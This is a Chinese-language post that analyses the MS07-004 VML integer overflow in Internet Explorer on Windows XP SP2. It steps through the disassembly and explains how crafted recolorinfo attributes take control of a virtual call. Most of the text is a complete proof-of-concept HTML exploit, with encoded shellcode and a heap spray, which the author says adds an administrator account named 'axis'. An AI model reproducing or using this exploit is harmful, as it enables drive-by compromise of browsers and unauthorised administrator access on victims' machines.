注册
登录
| 关键词： eax 整数 地址 漏洞 一个 DWORD 所以 不同 地方 系统 |
万众瞩目的MS07-004终于POC出炉了，之前小弟一直因为eeye的补丁比较工具bindiff在罢工，再加上一些琐事缠身，所以也没好好看这个漏洞。 今天在eong兄和milw0rm上那位公布poc的老兄的基础上，好好跟了下这个漏洞。 以下所有调试过程都是在简体中文版的XP SP2 Pro上进行的。 首先，看写别人比较出来的因为他是在韩文系统上比较出来的，所以在中文版地址上有些不同，其实关系不大，只需要用OD搜 imul eax, eax, 2ch就可以定位到问题了。 在我的系统上是： 6FF176A5 5F POP EDI6FF176A6 5B POP EBX6FF176A7 8B46 08 MOV EAX,DWORD PTR DS:[ESI+8]6FF176AA 0346 04 ADD EAX,DWORD PTR DS:[ESI+4]6FF176AD 85C0 TEST EAX,EAX6FF176AF 7E 13 JLE SHORT vgx.6FF176C46FF176B1 6BC0 2C IMUL EAX,EAX,2C ;相乘，整数溢出6FF176B4 68 01010000 PUSH 1016FF176B9 50 PUSH EAX6FF176BA E8 3588FBFF CALL vgx.6FECFEF4 ; malloc()6FF176BF 59 POP ECX6FF176C0 59 POP ECX6FF176C1 8946 14 MOV DWORD PTR DS:[ESI+14],EAX6FF176C4 B0 01 MOV AL,16FF176C6 5E POP ESI6FF176C7 5D POP EBP6FF176C8 C2 0C00 RETN 0C这里是因为没有针对eax做检查，导致了整数溢出相乘后，反而使malloc(eax*2ch)的空间变小了在后来有一个movs的操作，会把内存一片片的拷到刚才malloc出来的地方。在这个过程中，会覆盖掉 mshtml.dll中的一个虚函数保存在堆里的指针。 call [ecx + 10h] 而这里的ecx正好是我们可以控制的。在这里不得不提以下，漏洞触发的两个关键地方： 第一个: <v:recolorinfo recolorstate="t" numcolors="1" numfills="1073741831">这里后面的大整数可以是numcolors, 也可以放在numfills ，我这里放在了numfills里，其实都差不多。 6FF176A7 8B46 08 MOV EAX,DWORD PTR DS:[ESI+8]6FF176AA 0346 04 ADD EAX,DWORD PTR DS:[ESI+4]因为这两句会把这个大整数传递给EAX，在后面给eax*2ch 用 第二个关键的地方是： <v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="13" bitmaptype="13" /> 参数或许还有可以精简的地方，我没细改了。 在这里， rgb(a,b,c)这里的a, b , c 可以直接传递到内存里面去，也会直接传递给后面的ecx 从而我们可以控制 call [ecx + 10h] 在这里，因为rgb只有3个参数，所以，地址的第一个字节只能是0x00 我在这里选择了rgb(90,22,64) 实际上就是 ： 0x0040165A这个地址是在iexplorer.exe里的注意：不同系统和不同语言的这个地址可能会不同 至于如何通用这里就不提到了，因为这里也跟eong兄讨论过的，不方便发出来。 这个地址加10h 就是 0x0040166A 他指向了 0x0c15xxxx 而这个地址是正好落在我们的heap spray中间的，所以就跳转到了我们的shellcode。 下面是我们的POC， 如果一切正常，会在你的系统你添加一个帐户名为axis的管理员帐户。 另外这个漏洞比上次的ms06-055要好，可以恢复栈平衡，达到不挂ie的效果 <!-- MS07-004 VML integer overflow exploit by [email protected] --> <html xmlns:v="urn:schemas-microsoft-com:vml"> <head><object id="VMLRender"classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E"></object><style>v\:* { behavior: url(#VMLRender); }</style></head> <body> <SCRIPT language="javascript">shellcode =unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4949%u4949%u3749%u4949%u4949%u4949%u5a51%u636a%u3058%u3041%u4150%u416b%u7341%u4142%u4132%u3241%u4142%u4230%u5841%u4138%u5042%u4d75%u3939%u396c%u4178%u4754%u7770%u4370%u6c30%u674b%u7735%u4c4c%u334b%u754c%u3155%u5768%u6a71%u4e4f%u426b%u626f%u6c38%u434b%u756f%u5670%u4861%u316b%u6e59%u306b%u6c34%u534b%u3831%u576e%u4b41%u4e70%u6c79%u6d6c%u5954%u6150%u3464%u4f47%u4b31%u647a%u454d%u4951%u6a52%u7a4b%u4554%u326b%u7674%u3344%u7234%u7a55%u6c45%u614b%u774f%u4554%u4851%u426b%u4c46%u764b%u706c%u6e4b%u416b%u554f%u744c%u6a41%u4e4b%u556b%u4e4c%u356b%u7a51%u4f4b%u3179%u344c%u6564%u4b54%u3573%u6f61%u5030%u4e64%u376b%u5430%u6b70%u6f35%u4130%u3468%u6c4c%u774b%u3430%u4c4c%u504b%u3770%u4c6c%u6e6d%u506b%u6468%u3848%u456b%u4e59%u4d6b%u6e50%u6750%u5570%u4550%u6c50%u504b%u3768%u614c%u764f%u6b51%u3546%u7130%u6f46%u4c79%u6d38%u3953%u4150%u706b%u3050%u6168%u4e6e%u6b38%u7052%u3273%u4d48%u5948%u6d6e%u565a%u766e%u4b37%u4a4f%u5247%u7243%u314d%u7474%u356e%u7035%u7578%u3735%u4650%u724f%u3543%u7070%u706e%u3065%u7174%u4330%u5245%u4253%u3045%u3772%u7050%u6461%u7038%u6269%u3553%u4170%u5177%u3075%u726e%u4149%u3365%u7743%u4650%u334f%u4371%u7374%u4174%u4530%u5176%u5736%u3250%u334e%u4155%u4764%u6250%u724c%u334f%u5353%u3051%u526c%u3347%u7042%u336f%u7245%u3150%u4330%u4371%u5054%u336d%u7259%u714e%u3079%u4173%u7164%u4262%u3241%u7054%u616f%u5062%u6773%u3150%u6471%u3038%u7269%u3553%u7670%u324f%u3161%u3254%u4564%u6350"); bigblock = unescape("%u0c0c%u0c0c");headersize = 20;slackspace = headersize+shellcode.length;while (bigblock.length<slackspace) bigblock+=bigblock;fillblock = bigblock.substring(0, slackspace);block = bigblock.substring(0, bigblock.length-slackspace);while(block.length+slackspace<0x40000) block = block+block+fillblock;memory = new Array();for (i=0;i<350;i++) memory[i] = block + shellcode; </script> <v:rect style='width:120pt;height:80pt' fillcolor="red" ><v:recolorinfo recolorstate="t" numcolors="1" numfills="1073741831"> <v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="13" bitmaptype="13" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v:recolorinfoentry tocolor="rgb(90,22,64)" lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" /><v/recolorinfo></html> |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
